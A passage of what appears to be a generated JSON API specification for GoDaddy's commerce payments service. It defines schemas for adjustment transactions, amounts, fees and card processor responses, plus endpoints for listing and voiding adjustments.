"https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents Adjustment transaction against a payment", - "properties": { - "newAmount": { - "description": "Adjusted transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - } - }, - "required": [ - "newAmount" - ] - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "getAdjustments", - "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/adjustments", - "summary": "Get Adjustments", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - } - }, - { - "name": "Request Id", - "in": "header", - "required": false, - "schema": { - "type": "string", - "format": "uuid" - } - }, - { - "name": "page", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 1 - } - }, - { - "name": "pageSize", - "in": "query", - "required": false, - "schema": { - "type": "integer", - "default": 10 - } - }, - { - "name": "totalRequired", - "in": "query", - "required": false, - "schema": { - "type": "boolean", - "default": false - } - } - ], - "responses": { - "200": { - "description": "Adjustment list", - "schema": { - "title": "Adjustments", - "allOf": [ - { - "properties": { - "totalItems": { - "type": "integer" - }, - "totalPages": { - "type": "integer" - }, - "links": { - "$id": "https://godaddy.com/schemas/commerce/link.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "description": "HATEOAS links", - "type": "array", - "x-auto-generated": true, - "definitions": { - "Link": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - }, - "items": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" - }, - "rel": { - "type": "string" - } - } - } - } - } - } - ], - "properties": { - "items": { - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/adjustment.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Adjustment Transaction", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction", - "type": "object", - "description": "Represents transaction against a payment", - "x-generic-type": "Transaction", - "properties": { - "transactionId": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true - }, - "transactionRefNum": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", - "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true - }, - "status": { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Status", - "type": "string", - "enum": [ - "INITIATED", - "PENDING", - "FAILED", - "COMPLETED", - "VOIDED" - ], - "description": "Transaction status" - }, - "amount": { - "description": "Transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "context": { - "description": "Transaction context", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "TransactionContext", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-context.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentContext", - "type": "object", - "description": "Payment Context details", - "properties": { - "channelId": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - }, - "merchantInitiatedTransaction": { - "type": "boolean", - "default": false, - "description": "True if initiated by the Merchant on behalf of the customer" - } - } - } - ], - "type": "object" - }, - "clientContext": { - "description": "non-sensitive context data that can be stored and fetched by client when needed", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - }, - "processorResponse": { - "readOnly": true, - "description": "Processor response", - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/debitcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "DebitCardProcessorResponse", - "type": "object", - "allOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/transaction/processor-response/creditcard.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processor Response", - "type": "object", - "properties": { - "avsResult": { - "description": "Address verifications result", - "readOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/processor-response/address-verification-result.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AVS Results", - "type": "object", - "properties": { - "addressResult": { - "readOnly": true, - "description": "Result of Address verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cityResult": { - "readOnly": true, - "description": "Result of City verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "postalCodeResult": { - "readOnly": true, - "description": "Result of Postal code verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "stateResult": { - "readOnly": true, - "description": "Result of State verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "countryResult": { - "readOnly": true, - "description": "Result of Country verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "phoneResult": { - "readOnly": true, - "description": "Result of Phone verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - }, - "cardHolderNameResult": { - "readOnly": true, - "description": "Result of Card holder name verification", - "$id": "https://godaddy.com/schemas/commerce/payment/payment-card/address-verification-status.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Address Verification Status", - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "PARTIAL_MATCH", - "UNAVAILABLE" - ] - } - } - }, - "cvResult": { - "type": "string", - "enum": [ - "MATCH", - "NO_MATCH", - "UNAVAILABLE" - ], - "description": "CVV verification result", - "readOnly": true - }, - "approvedAmount": { - "type": "integer", - "description": "If different than request amount", - "readOnly": true - }, - "approvalCode": { - "type": "string", - "readOnly": true, - "description": "Approval code that can be used for reference" - }, - "scaResult": { - "type": "string", - "readOnly": true, - "description": "Strong customer authentication result" - }, - "interacMacResult": { - "type": "string", - "readOnly": true, - "description": "Interac mac result (if interacMac is used)" - }, - "emvTags": { - "readOnly": true, - "description": "EMV tags obtained from the processor", - "$id": "https://godaddy.com/schemas/commerce/payment/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 20, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } - } - } - } - ], - "properties": { - "remainingBalanceAmount": { - "type": "integer", - "description": "Remaining balance amount" - } - } - } - ], - "discriminator": { - "propertyName": "processorType", - "mapping": { - "CREDIT_CARD": "./CreditCardProcessorResponse.yaml", - "DEBIT_CARD": "./DebitCardProcessorResponse.yaml" - } - }, - "properties": { - "processorType": { - "type": "string" - } - }, - "required": [ - "processorType" - ] - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - } - }, - "required": [ - "amount", - "createdAt" - ] - } - ], - "x-generic-type": "Transaction", - "description": "Represents Adjustment transaction against a payment", - "properties": { - "newAmount": { - "description": "Adjusted transaction amount", - "$id": "https://godaddy.com/schemas/commerce/payment/amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Amount", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Simple Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Payment amount" - }, - "currency": { - "description": "Payment currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - } - }, - "required": [ - "amount", - "currency" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/detailed-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Detailed Amount", - "type": "object", - "properties": { - "total": { - "type": "integer", - "format": "int64", - "description": "Total amount" - }, - "tip": { - "nullable": true, - "description": "Tip amount details", - "$id": "https://godaddy.com/schemas/commerce/payment/tip-amount.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Tip Amount", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Tip amount" - }, - "customerOptedNoTip": { - "type": "boolean", - "default": false, - "description": "Customer opted for no tip" - } - } - }, - "cashback": { - "type": "integer", - "description": "Cashback details" - }, - "subTotal": { - "type": "integer", - "format": "int64", - "description": "Sub total details" - }, - "currency": { - "description": "Amount currency", - "$id": "https://godaddy.com/schemas/commerce/payment/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", - "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true - }, - "fees": { - "type": "array", - "items": { - "$id": "https://godaddy.com/schemas/commerce/payment/fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Fee", - "type": "object", - "oneOf": [ - { - "$id": "https://godaddy.com/schemas/commerce/payment/simple-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "SimpleFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "Shipping", - "description": "Fee type", - "minLength": 2, - "maxLength": 64 - } - }, - "required": [ - "amount", - "type" - ] - }, - { - "$id": "https://godaddy.com/schemas/commerce/payment/governed-fee.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "GovernedFee", - "type": "object", - "properties": { - "amount": { - "type": "integer", - "format": "int64", - "description": "Fee amount" - }, - "type": { - "type": "string", - "example": "SURCHARGE", - "description": "Fee Program type", - "enum": [ - "SURCHARGE", - "SERVICE_FEE", - "CONVENIENCE_FEE", - "CASH_DISCOUNT" - ] - }, - "signature": { - "type": "string", - "maxLength": 256, - "description": "Signature representing the Fee", - "writeOnly": true - } - }, - "required": [ - "amount", - "type", - "signature" - ] - } - ], - "discriminator": { - "propertyName": "feeType", - "mapping": { - "ADDITIONAL": "./SimpleFee.yaml", - "GOVERNED": "./GovernedFee.yaml" - } - }, - "properties": { - "feeType": { - "type": "string", - "description": "Fee type discriminator" - } - }, - "required": [ - "feeType" - ] - }, - "description": "Fees if any" - } - }, - "required": [ - "total", - "currency" - ] - } - ], - "discriminator": { - "propertyName": "amountType", - "mapping": { - "DETAILED": "./DetailedAmount.yaml", - "SIMPLE": "./SimpleAmount.yaml" - } - }, - "properties": { - "amountType": { - "type": "string" - } - } - } - }, - "required": [ - "newAmount" - ] - }, - "type": "array" - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } - } - } - }, - "scopes": [ - "urn:godaddy:services:commerce:payments:read", - "urn:godaddy:services:commerce:payments:read-write" - ] - }, - { - "operationId": "voidAdjustmentByRefNum", - "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentId}/adjustments/{transactionRefNum}", - "summary": "Void Adjustment", - "parameters": [ - { - "name": "storeId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } - }, - { - "name": "paymentId", - "in": "path", - "required": true, - "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": 